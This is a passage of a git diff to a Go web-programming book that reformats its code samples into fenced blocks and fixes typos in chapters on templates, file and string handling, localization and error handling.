t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. + user := GetUser() // Get current user infomration. + t.Execute(w, user) // merge. +} +``` As you can see, it's very easy to use, load and render data in templates in Go, just as in other programming languages. For the sake of convenience, we will use the following rules in our examples: @@ -39,34 +39,34 @@ We've just shown you how to parse and render templates. Let's take it one step f ### Fields In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: - - package main - - import ( - "html/template" - "os" - ) - - type Person struct { - UserName string - } - - func main() { - t := template.New("fieldname example") - t, _ = t.Parse("hello {{.UserName}}!") - p := Person{UserName: "Astaxie"} - t.Execute(os.Stdout, p) - } - +```Go +package main + +import ( + "html/template" + "os" +) + +type Person struct { + UserName string +} + +func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) +} +``` The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges: - - type Person struct { - UserName string - email string // Field is not exported. - } - - t, _ = t.Parse("hello {{.UserName}}! {{.email}}") - +```Go +type Person struct { + UserName string + email string // Field is not exported. +} + +t, _ = t.Parse("hello {{.UserName}}! {{.email}}") +``` This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error. If you print `{{.}}` in a template, Go outputs a formatted string of this object, calling `fmt` under the covers. @@ -79,69 +79,69 @@ We know how to output a field now. What if the field is an object, and it also h - {% raw %}`{{with}}`{% endraw %} lets you write the same object name once and use `.` as shorthand for it ( ***Similar to `with` in VB*** ). More examples: - - package main - - import ( - "html/template" - "os" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an email {{.}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } - +```Go +package main + +import ( + "html/template" + "os" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` ### Conditions If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates: - - package main - - import ( - "os" - "text/template" - ) - - func main() { - tEmpty := template.New("template test") - tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) - tEmpty.Execute(os.Stdout, nil) - - tWithValue := template.New("template test") - tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) - tWithValue.Execute(os.Stdout, nil) - - tIfElse := template.New("template test") - tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) - tIfElse.Execute(os.Stdout, nil) - } - +```Go +package main + +import ( + "os" + "text/template" +) + +func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) +} +``` As you can see, it's easy to use `if-else` in templates. **Attention** You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable. @@ -183,107 +183,107 @@ Suppose we have an `emailDeal` template function associated with its `EmailDealW func EmailDealWith(args …interface{}) string Example: - - package main - - import ( - "fmt" - "html/template" - "os" - "strings" - ) - - type Friend struct { - Fname string +```Go +package main + +import ( + "fmt" + "html/template" + "os" + "strings" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func EmailDealWith(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - // find the @ symbol - substrs := strings.Split(s, "@") - if len(substrs) != 2 { - return s - } - // replace the @ by " at " - return (substrs[0] + " at " + substrs[1]) + if !ok { + s = fmt.Sprint(args...) } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an emails {{.|emailDeal}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s } - + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` Here is a list of built-in template functions: - - var builtins = FuncMap{ - "and": and, - "call": call, - "html": HTMLEscaper, - "index": index, - "js": JSEscaper, - "len": length, - "not": not, - "or": or, - "print": fmt.Sprint, - "printf": fmt.Sprintf, - "println": fmt.Sprintln, - "urlquery": URLQueryEscaper, - } - - +```Go +var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, +} + +``` ## Must The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`: - - package main - - import ( - "fmt" - "text/template" - ) - - func main() { - tOk := template.New("first") - template.Must(tOk.Parse(" some static text /* and a comment */")) - fmt.Println("The first one parsed OK.") - - template.Must(template.New("second").Parse("some static text {{ .Name }}")) - fmt.Println("The second one parsed OK.") - - fmt.Println("The next one ought to fail.") - tErr := template.New("check parse error with Must") - template.Must(tErr.Parse(" some static text {{ .Name }")) - } - +```Go +package main + +import ( + "fmt" + "text/template" +) + +func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) +} +``` Output: The first one parsed OK. @@ -304,124 +304,127 @@ The sub-template is called using the following syntax: Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl` in the folder `templates`, we will read the folder and store the file names in a string array, which we will then use to parse files. Main template: - +```html {% raw %} - //header.tmpl - {{define "header"}} - - - Something here - - - {{end}} - - //content.tmpl - {{define "content"}} - {{template "header"}} -

Nested here

-
    -
  • Nested usag
  • -
  • Call template
  • -
- {{template "footer"}} - {{end}} - - //footer.tmpl - {{define "footer"}} - - - {{end}} - - //When using subtemplating make sure that you have parsed each sub template file, - //otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}} +//header.tmpl +{{define "header"}} + + + Something here + + +{{end}} + +//content.tmpl +{{define "content"}} +{{template "header"}} +

Nested here

+
    +
  • Nested usag
  • +
  • Call template
  • +
+{{template "footer"}} +{{end}} + +//footer.tmpl +{{define "footer"}} + + +{{end}} + +//When using subtemplating make sure that you have parsed each sub template file, +//otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}} {% endraw %} +``` Code: - - package main - - import ( - "fmt" - "os" - "io/ioutil" - "text/template" - ) - - var templates *template.Template - - func main() { - var allFiles []string - files, err := ioutil.ReadDir("./templates") - if err != nil { - fmt.Println(err) - } - for _, file := range files { - filename := file.Name() - if strings.HasSuffix(filename, ".tmpl") { - allFiles = append(allFiles, "./templates/"+filename) - } +```Go +package main + +import ( + "fmt" + "os" + "io/ioutil" + "text/template" + "strings" +) + +var templates *template.Template + +func main() { + var allFiles []string + files, err := ioutil.ReadDir("./templates") + if err != nil { + fmt.Println(err) + } + for _, file := range files { + filename := file.Name() + if strings.HasSuffix(filename, ".tmpl") { + allFiles = append(allFiles, "./templates/"+filename) } - - templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder - - s1, _ := templates.LookUp("header.tmpl") - s1.ExecuteTemplate(os.Stdout, "header", nil) - fmt.Println() - s2, _ := templates.LookUp("content.tmpl") - s2.ExecuteTemplate(os.Stdout, "content", nil) - fmt.Println() - s3, _ := templates.LookUp("footer.tmpl") - s3.ExecuteTemplate(os.Stdout, "footer", nil) - fmt.Println() - s3.Execute(os.Stdout, nil) } + templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder + + s1 := templates.Lookup("header.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s2 := templates.Lookup("content.tmpl") + s2.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s3 := templates.Lookup("footer.tmpl") + s3.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s3.Execute(os.Stdout, nil) +} +``` Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` are independent of each other. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. -When you don't want to use `{{define}}`, then you can just create a text file with the name of the sub template, for instance `_head.tmpl` is a sub template which you'll use across your project then create this file in the templates folder, and use the normal syntax. Lookup cache is basically created so that you don't read the file every time you serve a request, because if you do, then you are wasting a lot of resources for reading a file which won't change unless the codebase is being rewritten, it doesn't make sense to parse the template files during each HTTP GET request, so the technique is used where we parse the files once and then do a `LookUp()` on the cache to execute the template when we need it to display data. +When you don't want to use `{{define}}`, then you can just create a text file with the name of the sub template, for instance `_head.tmpl` is a sub template which you'll use across your project then create this file in the templates folder, and use the normal syntax. Lookup cache is basically created so that you don't read the file every time you serve a request, because if you do, then you are wasting a lot of resources for reading a file which won't change unless the codebase is being rewritten, it doesn't make sense to parse the template files during each HTTP GET request, so the technique is used where we parse the files once and then do a `Lookup()` on the cache to execute the template when we need it to display data. Templates in one set know each other, but you must parse them for every single set. Some times you want to contextualize templates, for instance you have a `_head.html`, you might have a header who's value you have to populate based on which data you are loading for instance for a todo list manager you can have three categories `pending`, `completed`, `deleted`. for this suppose you have an if statement like this - - {{if eq .Navigation "pending"}} Tasks - {{ else if eq .Navigation "completed"}}Completed - {{ else if eq .Navigation "deleted"}}Deleted - {{ else if eq .Navigation "edit"}} Edit - {{end}} - - +```html +{{if eq .Navigation "pending"}} Tasks + {{ else if eq .Navigation "completed"}}Completed + {{ else if eq .Navigation "deleted"}}Deleted + {{ else if eq .Navigation "edit"}} Edit + {{end}} + +``` Note: Go templates follow the Polish notation while performing the comparison where you give the operator first and the comparison value and the value to be compared with. The else if part is pretty straight forward Typically we use a `{{ range }}` operator to loop through the context variable which we pass to the template while execution like this: - +```Go //present in views package context := db.GetTasks("pending") //true when you want non deleted notes homeTemplate.Execute(w, context) +``` We get the context object from the database as a struct object, the definition is as below - - //Task is the struct used to identify tasks - type Task struct { - Id int - Title string - Content string - Created string - } - //Context is the struct passed to templates - type Context struct { - Tasks []Task - Navigation string - Search string - Message string - } - - //present in database package - var task []types.Task - var context types.Context - context = types.Context{Tasks: task, Navigation: status} - - //This line is in the database package where the context is returned back to the view. - +```Go +//Task is the struct used to identify tasks +type Task struct { + Id int + Title string + Content string + Created string +} +//Context is the struct passed to templates +type Context struct { + Tasks []Task + Navigation string + Search string + Message string +} + +//present in database package +var task []types.Task +var context types.Context +context = types.Context{Tasks: task, Navigation: status} + +//This line is in the database package where the context is returned back to the view. +``` We use the task array and the Navigation in our templates, we saw how we use the Navigation in the template, we'll see how we'll use the actual task array in our template. @@ -431,31 +434,31 @@ content of Task. The below example is very important when it comes to looping th start with the Range operator, then we can give any member of that struct as `{{.Name}}`, my Task structure has a Title and a Content, (please note the capital T and C, they are exported names and they need to be capitalised unless you want to make them private). - - {{ range .Tasks }} - {{ .Title }} - {{ .Content }} - {{ end }} - +```Go +{{ range .Tasks }} + {{ .Title }} + {{ .Content }} +{{ end }} +``` This block of code will print each title and content of the Task array. Below is a full example from github.com/thewhitetulip/Tasks home.html template. - -
- {{ if .Tasks}} {{range .Tasks}} -
-

{{.Title}}

-
-

{{.Content}}

- - -
- {{end}} {{else}} -
-

No Tasks here

-

- Create new task

-
- {{end}} - +```html +
+{{ if .Tasks}} {{range .Tasks}} +
+

{{.Title}}

+
+

{{.Content}}

+ + +
+{{end}} {{else}} +
+

No Tasks here

+

+ Create new task

+
+{{end}} +``` ## Summary diff --git a/en/07.5.md b/en/07.5.md index cde042bcc..5f160779a 100644 --- a/en/07.5.md +++ b/en/07.5.md @@ -23,24 +23,24 @@ In Go, most of the file operation functions are located in the `os` package. Her Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path. Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - os.Mkdir("astaxie", 0777) - os.MkdirAll("astaxie/test1/test2", 0777) - err := os.Remove("astaxie") - if err != nil { - fmt.Println(err) - } - os.RemoveAll("astaxie") +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) } - + os.RemoveAll("astaxie") +} +``` ## Files ### Create and open files @@ -83,28 +83,28 @@ Functions for writing files: Write a string to a file. Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "astaxie.txt" - fout, err := os.Create(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fout.Close() - for i := 0; i < 10; i++ { - fout.WriteString("Just a test!\r\n") - fout.Write([]byte("Just a test!\r\n")) - } +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return } - + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } +} +``` ### Read files Functions for reading files: @@ -118,32 +118,32 @@ Functions for reading files: Read data from position `off` to `b`. Code sample: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "asatxie.txt" - fl, err := os.Open(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fl.Close() - buf := make([]byte, 1024) - for { - n, _ := fl.Read(buf) - if 0 == n { - break - } - os.Stdout.Write(buf[:n]) +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break } + os.Stdout.Write(buf[:n]) } - +} +``` ### Delete files Go uses the same function for removing files and directories: diff --git a/en/07.6.md b/en/07.6.md index 650689929..ab833f182 100644 --- a/en/07.6.md +++ b/en/07.6.md @@ -9,152 +9,149 @@ The following functions are from the `strings` package. See the official documen - func Contains(s, substr string) bool Check if string `s` contains string `substr`, returns a boolean value. - - fmt.Println(strings.Contains("seafood", "foo")) - fmt.Println(strings.Contains("seafood", "bar")) - fmt.Println(strings.Contains("seafood", "")) - fmt.Println(strings.Contains("", "")) - - //Output: - //true - //false - //true - //true - +```Go +fmt.Println(strings.Contains("seafood", "foo")) +fmt.Println(strings.Contains("seafood", "bar")) +fmt.Println(strings.Contains("seafood", "")) +fmt.Println(strings.Contains("", "")) + +//Output: +//true +//false +//true +//true +``` - func Join(a []string, sep string) string Combine strings from slice with separator `sep`. - - s := []string{"foo", "bar", "baz"} - fmt.Println(strings.Join(s, ", ")) - //Output:foo, bar, baz - +```Go +s := []string{"foo", "bar", "baz"} +fmt.Println(strings.Join(s, ", ")) +//Output:foo, bar, baz +``` - func Index(s, sep string) int Find index of `sep` in string `s`, returns -1 if it's not found. - - fmt.Println(strings.Index("chicken", "ken")) - fmt.Println(strings.Index("chicken", "dmr")) - //Output:4 - //-1 - +```Go +fmt.Println(strings.Index("chicken", "ken")) +fmt.Println(strings.Index("chicken", "dmr")) +//Output:4 +//-1 +``` - func Repeat(s string, count int) string Repeat string `s` `count` times. - - fmt.Println("ba" + strings.Repeat("na", 2)) - //Output:banana - +```Go +fmt.Println("ba" + strings.Repeat("na", 2)) +//Output:banana +``` - func Replace(s, old, new string, n int) string Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances. - - fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) - fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) - //Output:oinky oinky oink - //moo moo moo - +```Go +fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) +fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) +//Output:oinky oinky oink +//moo moo moo +``` - func Split(s, sep string) []string Split string `s` with separator `sep` into a slice. - - fmt.Printf("%q\n", strings.Split("a,b,c", ",")) - fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) - fmt.Printf("%q\n", strings.Split(" xyz ", "")) - fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) - //Output:["a" "b" "c"] - //["" "man " "plan " "canal panama"] - //[" " "x" "y" "z" " "] - //[""] - +```Go +fmt.Printf("%q\n", strings.Split("a,b,c", ",")) +fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) +fmt.Printf("%q\n", strings.Split(" xyz ", "")) +fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) +//Output:["a" "b" "c"] +//["" "man " "plan " "canal panama"] +//[" " "x" "y" "z" " "] +//[""] +``` - func Trim(s string, cutset string) string Remove `cutset` of string `s` if it's leftmost or rightmost. - - fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) - Output:["Achtung"] - +```Go +fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) +Output:["Achtung"] +``` - func Fields(s string) []string Remove space items and split string with space into a slice. - - fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) - //Output:Fields are: ["foo" "bar" "baz"] - +```Go +fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) +//Output:Fields are: ["foo" "bar" "baz"] +``` ## strconv The following functions are from the `strconv` package. As usual, please see official documentation for more details: - Append series, convert data to string, and append to current byte slice. - - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - str := make([]byte, 0, 100) - str = strconv.AppendInt(str, 4567, 10) - str = strconv.AppendBool(str, false) - str = strconv.AppendQuote(str, "abcdefg") - str = strconv.AppendQuoteRune(str, '单') - fmt.Println(string(str)) - } - +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) +} +``` - Format series, convert other data types into string. - - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - a := strconv.FormatBool(false) - b := strconv.FormatFloat(123.23, 'g', 12, 64) - c := strconv.FormatInt(1234, 10) - d := strconv.FormatUint(12345, 10) - e := strconv.Itoa(1023) - fmt.Println(a, b, c, d, e) - } - +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} +``` - Parse series, convert strings to other types. - - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - a, err := strconv.ParseBool("false") - if err != nil { - fmt.Println(err) - } - b, err := strconv.ParseFloat("123.23", 64) - if err != nil { - fmt.Println(err) - } - c, err := strconv.ParseInt("1234", 10, 64) - if err != nil { - fmt.Println(err) - } - d, err := strconv.ParseUint("12345", 10, 64) - if err != nil { - fmt.Println(err) - } - e, err := strconv.Itoa("1023") - if err != nil { - fmt.Println(err) - } - fmt.Println(a, b, c, d, e) - } - +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a, err := strconv.ParseBool("false") + if err != nil { + fmt.Println(err) + } + b, err := strconv.ParseFloat("123.23", 64) + if err != nil { + fmt.Println(err) + } + c, err := strconv.ParseInt("1234", 10, 64) + if err != nil { + fmt.Println(err) + } + d, err := strconv.ParseUint("12345", 10, 64) + if err != nil { + fmt.Println(err) + } + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} +``` ## Links - [Directory](preface.md) diff --git a/en/09.1.md b/en/09.1.md index 1301535cc..48c4ffff6 100644 --- a/en/09.1.md +++ b/en/09.1.md @@ -81,7 +81,7 @@ Authentication token: token := r.Form.Get("token") if token! = "" { // Verification token of legitimacy - } Else { + } else { // Error token does not exist } diff --git a/en/09.7.md b/en/09.7.md index 5d1f73a5d..196346f24 100644 --- a/en/09.7.md +++ b/en/09.7.md @@ -1,6 +1,6 @@ # 9.7 Summary -In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then discussed a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES. +In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then discussed a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications. ## Links diff --git a/en/10.2.md b/en/10.2.md index caf15d6f2..73343dd1b 100644 --- a/en/10.2.md +++ b/en/10.2.md @@ -87,7 +87,7 @@ Obviously, currency differs from region to region also. We can treat it the same en["money"] ="USD %d" cn["money"] ="¥%d元" - fmt.Println(date(msg(lang,"date_format"),100)) + fmt.Println(money_format(msg(lang,"money"),100)) func money_format(fomat string, money int64) string{ return fmt.Sprintf(fomat, money) diff --git a/en/10.3.md b/en/10.3.md index 9e928dfb9..2087e1abd 100644 --- a/en/10.3.md +++ b/en/10.3.md @@ -15,7 +15,7 @@ In the development of an application, often the first thing you need to do is to } } - #en.json + # en.json { "en": { diff --git a/en/12.2.md b/en/12.2.md index 1c408ae9b..829da8374 100644 --- a/en/12.2.md +++ b/en/12.2.md @@ -13,16 +13,16 @@ Once our web applications go live, it's likely that there will be some unforesee - Third-party application errors: These errors occur in applications which interface with other third-party applications or services. For instance, if an application publishes tweets after making calls to Twitter's API, it's obvious that Twitter's services must be up and running in order for our application to complete its task. We must also ensure that we supply these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors. - HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found error, which arises when users attempt to access non-existent resources in your application. Another common HTTP error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error (users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal program error). -- Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces in many errors. -- Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempts to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash. +- Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces many errors. +- Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempt to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash. ## Error handling goals Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling systems should accomplish the following: -- User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened -for instance, that the system is temporarily unavailable (error.html). -- Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such as the one described earlier should be used to record the event into a log file file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate. +- User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened - for instance, that the system is temporarily unavailable (error.html). +- Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such as the one described earlier should be used to record the event into a log file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate. - Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back the current operation. Let's look at an example: a system saves a user-submitted form to its database, then submits this data to a third-party server. However, the third-party server disconnects and we are unable to establish a connection with it, which results in an error. In this case, the previously stored form data should be deleted from the database (void should be informed), and the application should inform the user of the system error. - Ensure that the application can recover from errors: we know that it's difficult for any program to guarantee 100% uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we first need to log the error, notify the relevant parties involved, then immediately get the program up and running again. This way, our application can continue to provide services while a system administrator investigates and fixes the cause of the problem. @@ -114,7 +114,7 @@ Another example: ## How to handle exceptions -We know that many other languages have `try... catch` keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's for this reason that Go functions return errors by design. For example, if a file is not found or if os.Open returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the `net.Conn` family of `Write` functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur. +We know that many other languages have `try... catch` keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's for this reason that Go functions return errors by design. For example, if a file is not found or if `os.Open` returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the `net.Conn` family of `Write` functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur. There are, however, cases where `panic` should be used. For instance in operations where failure is almost impossible, or in certain situations where there is no way to return an error and the operation cannot continue, `panic` should be used. Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute. Go's `panic` was deliberately designed with this behavior in mind, which is different than typical error handling; `panic` is really just exception handling. In the example below, we expect that `User[UID]` will return a username from the `User` array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes. In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery mechanisms in 